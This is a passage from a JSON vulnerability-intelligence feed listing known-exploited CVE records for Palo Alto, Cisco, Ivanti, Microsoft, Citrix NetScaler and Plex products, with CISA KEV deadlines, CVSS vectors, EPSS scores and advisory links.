guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:A/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:D/RE:M/U:Red","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-0322","asOf":"2026-10-15T13:47:26.713Z"},"epss":{"probability":0.0174,"percentile":0.77559,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-0322&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-0322","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-0322","type":"primary","publishedAt":"2026-10-14T18:17:07.743Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS, affected products, and a CISA SSVC assessment reporting active exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.paloaltonetworks.com/CVE-2026-0322","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"CISA KEV entry CVE-2026-0322","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-0322 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-0322&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-0322, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76519","cveId":"CVE-2026-76519","aliases":[],"kind":"vulnerability","title":"Cisco Secure Email Gateway Relative Path Traversal Vulnerability","summary":"A vulnerability in the Advanced Malware Protection (AMP) feature of Cisco Secure Email Gateway could allow an unauthenticated, remote attacker to write arbitrary files on the underlying operating system.\r\n\r\nThis vulnerability is due to improper handling of email attachments when the file reputation service is enabled. An attacker could exploit this vulnerability by sending an email that contains a crafted attachment through an affected device. A successful exploit could allow the attacker to write arbitrary files and execute commands with&nbsp;root privileges on the underlying operating system.","detail":"A vulnerability in the Advanced Malware Protection (AMP) feature of Cisco Secure Email Gateway could allow an unauthenticated, remote attacker to write arbitrary files on the underlying operating system.\r\n\r\nThis vulnerability is due to improper handling of email attachments when the file reputation service is enabled. An attacker could exploit this vulnerability by sending an email that contains a crafted attachment through an affected device. A successful exploit could allow the attacker to write arbitrary files and execute commands with&nbsp;root privileges on the underlying operating system.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:19:10.747Z","updatedAt":"2026-10-15T13:47:19.470Z","regions":["Global"],"vendor":"cisco","product":"asyncos","stacks":["Cisco","Secure Email Gateway","asyncos"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-10-14","dueAt":"2026-10-17","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76519","asOf":"2026-10-15T13:47:19.470Z"},"epss":{"probability":0.02152,"percentile":0.82022,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76519&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76519","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76519","type":"primary","publishedAt":"2026-10-14T17:19:10.747Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS, affected products, and a CISA SSVC assessment reporting active exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-esa-afw-zqYJkjxp","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"CISA KEV entry CVE-2026-76519","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-76519 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76519&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76519, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104935","cveId":"CVE-2026-104935","aliases":[],"kind":"vulnerability","title":"Ivanti Connect Secure Authentication Bypass by Spoofing Vulnerability","summary":"Authentication bypass by spoofing in ICS before version 25.1.3.0 allows a remote unauthenticated attacker to execute arbitrary commands. This does not impact ICS version 22.7R2.14 or prior.","detail":"Authentication bypass by spoofing in ICS before version 25.1.3.0 allows a remote unauthenticated attacker to execute arbitrary commands. This does not impact ICS version 22.7R2.14 or prior.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T16:17:11.640Z","updatedAt":"2026-10-13T19:24:36.243Z","regions":["Global"],"vendor":"ivanti","product":"connect secure","stacks":["Ivanti","Connect Secure","connect secure"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-10-13","dueAt":"2026-10-16","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104935","asOf":"2026-10-13T19:24:36.243Z"},"epss":{"probability":0.86766,"percentile":0.9974,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104935&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104935","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104935","type":"primary","publishedAt":"2026-10-13T16:17:11.640Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS, affected products, and a CISA SSVC assessment reporting active exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-CVE-2026-104935","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"CISA KEV entry CVE-2026-104935","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-104935 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104935&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104935, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96951","cveId":"CVE-2026-96951","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Command Injection Vulnerability","summary":"Microsoft Windows Shell contains a command injection vulnerability that allows an unauthorized attacker to bypass a security feature over a network.","detail":"CISA added this entry on 2026-10-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-10-13","updatedAt":"2026-10-16T17:18:00.760Z","regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft Office","Microsoft","Windows","outlook web"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-10-13","dueAt":"2026-10-16","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96951","asOf":"2026-10-16T17:18:00.760Z"},"epss":{"probability":0.09813,"percentile":0.95515,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96951&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-96951","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-96951 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"NVD CVE-2026-96951","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96951","type":"primary","publishedAt":"2026-10-13T19:22:07.760Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS, affected products, and a CISA SSVC assessment reporting active exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96951","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96951&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96951, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88771","cveId":"CVE-2026-88771","aliases":[],"kind":"vulnerability","title":"Citrix NetScaler Improper Input Validation Vulnerability","summary":"Security alert: Multiple vulnerabilities in NetScaler ADC and NetScaler Gateway (CVE-2026-88771, CVE-2026-88772, and others) (updated). Original Japanese title: 注意喚起: NetScaler ADCおよびNetScaler Gatewayにおける複数の脆弱性（CVE-2026-88771、CVE-2026-88772等）に関する注意喚起 (更新)","detail":"The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.","action":"Consult the linked JPCERT/CC advisory for affected versions and the recommended action.","publishedAt":"2026-10-02T05:15:00.000Z","updatedAt":null,"regions":["Global","Japan"],"vendor":"Citrix","product":"NetScaler","stacks":["Citrix NetScaler","Citrix","NetScaler"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-27","dueAt":"2026-09-30","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-88771","asOf":"2026-09-27T16:02:07.001Z"},"epss":{"probability":0.8216,"percentile":0.99652,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88771&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"JPCERT/CC Japan Advisories: Security alert: Multiple vulnerabilities in NetScaler ADC and NetScaler Gateway (CVE-2026-88771, CVE-2026-88772, and others) (updated)","url":"https://www.jpcert.or.jp/at/2026/at260029.html","type":"primary","publishedAt":"2026-10-02T05:15:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."},{"name":"CISA KEV entry CVE-2026-88771","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-27","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-88771 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88771&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88771, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA NetScaler","url":"https://cveawg.mitre.org/api/cve/CVE-2026-88771","type":"primary","publishedAt":"2026-09-27T16:02:07.001Z","checkedAt":"2026-10-26T14:11:55.600Z","supports":"The published CVE-2026-88771 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:11:55.600Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88772","cveId":"CVE-2026-88772","aliases":[],"kind":"vulnerability","title":"Citrix NetScaler Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability","summary":"Security alert: Multiple vulnerabilities in NetScaler ADC and NetScaler Gateway (CVE-2026-88771, CVE-2026-88772, and others) (updated). Original Japanese title: 注意喚起: NetScaler ADCおよびNetScaler Gatewayにおける複数の脆弱性（CVE-2026-88771、CVE-2026-88772等）に関する注意喚起 (更新)","detail":"The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.","action":"Consult the linked JPCERT/CC advisory for affected versions and the recommended action.","publishedAt":"2026-10-02T05:15:00.000Z","updatedAt":null,"regions":["Global","Japan"],"vendor":"Citrix","product":"NetScaler","stacks":["Citrix NetScaler","Citrix","NetScaler"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-27","dueAt":"2026-09-30","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-88772","asOf":"2026-09-27T16:09:56.033Z"},"epss":{"probability":0.78162,"percentile":0.99574,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88772&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"JPCERT/CC Japan Advisories: Security alert: Multiple vulnerabilities in NetScaler ADC and NetScaler Gateway (CVE-2026-88771, CVE-2026-88772, and others) (updated)","url":"https://www.jpcert.or.jp/at/2026/at260029.html","type":"primary","publishedAt":"2026-10-02T05:15:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."},{"name":"CISA KEV entry CVE-2026-88772","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-27","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-88772 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88772&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88772, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA NetScaler","url":"https://cveawg.mitre.org/api/cve/CVE-2026-88772","type":"primary","publishedAt":"2026-09-27T16:09:56.033Z","checkedAt":"2026-10-26T14:31:00.258Z","supports":"The published CVE-2026-88772 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:31:00.258Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96652","cveId":"CVE-2026-96652","aliases":[],"kind":"vulnerability","title":"Plex Media Server Server-Side Request Forgery (SSRF) Vulnerability","summary":"Plex Media Server contains a server-side request forgery (SSRF) vulnerability which could allow an attacker using any X-Plex-Token value to include a full URL in the 'protocol' parameter and force the Plex server to POST to the attacker's chosen destination. This vulnerability can be chained with CVE-2026-96654, CVE-2026-96655, and CVE-2026-96656.","detail":"CISA added this entry on 2026-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-10-20","updatedAt":null,"regions":["Global"],"vendor":"Plex","product":"Media Server","stacks":["Plex Media Server","Plex","Media Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-10-20","dueAt":"2026-11-03","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":5.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-96652","asOf":"2026-09-23T16:06:15.517Z"},"epss":{"probability":0.01821,"percentile":0.78608,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96652&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-96652","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-96652 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96652&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96652, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA cisa-cg","url":"https://cveawg.mitre.org/api/cve/CVE-2026-96652","type":"primary","publishedAt":"2026-09-23T16:06:15.517Z","checkedAt":"2026-10-26T13:40:05.166Z","supports":"The published CVE-2026-96652 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96654","cveId":"CVE-2026-96654","aliases":[],"kind":"vulnerability","title":"Plex Media Server Improper Neutralization of Encoded URI Schemes in a Web Page Vulnerability","summary":"Plex Media Server contains an improper neutralization of encoded URI schemes in a web page vulnerability that could allow an attacker to call other plugins' functions and supply their own parameters. This vulnerability can be chained with CVE-2026-96652, CVE-2026-96655, and CVE-2026-96656.","detail":"CISA added this entry on 2026-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-10-20","updatedAt":null,"regions":["Global"],"vendor":"Plex","product":"Media Server","stacks":["Plex Media Server","Plex","Media Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-10-20","dueAt":"2026-10-23","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-96654","asOf":"2026-10-20T16:46:16.219Z"},"epss":{"probability":0.01949,"percentile":0.80085,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96654&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-96654","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-96654 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96654&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96654, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA cisa-cg","url":"https://cveawg.mitre.org/api/cve/CVE-2026-96654","type":"primary","publishedAt":"2026-09-23T16:06:35.821Z","checkedAt":"2026-10-26T13:55:58.691Z","supports":"The published CVE-2026-96654 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:55:58.691Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96655","cveId":"CVE-2026-96655","aliases":[],"kind":"vulnerability","title":"Plex Media Server Server-Side Request Forgery (SSRF) Vulnerability","summary":"Plex Media Server contains a server-side request forgery (SSRF) vulnerability that could allow an authenticated user to request arbitrary internal or external addresses via the '/video/:/transcode/universal' path parameter. This vulnerability can be chained with CVE-2026-96652, CVE-2026-96654, and CVE-2026-96656.","detail":"CISA added this entry on 2026-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-10-20","updatedAt":null,"regions":["Global"],"vendor":"Plex","product":"Media 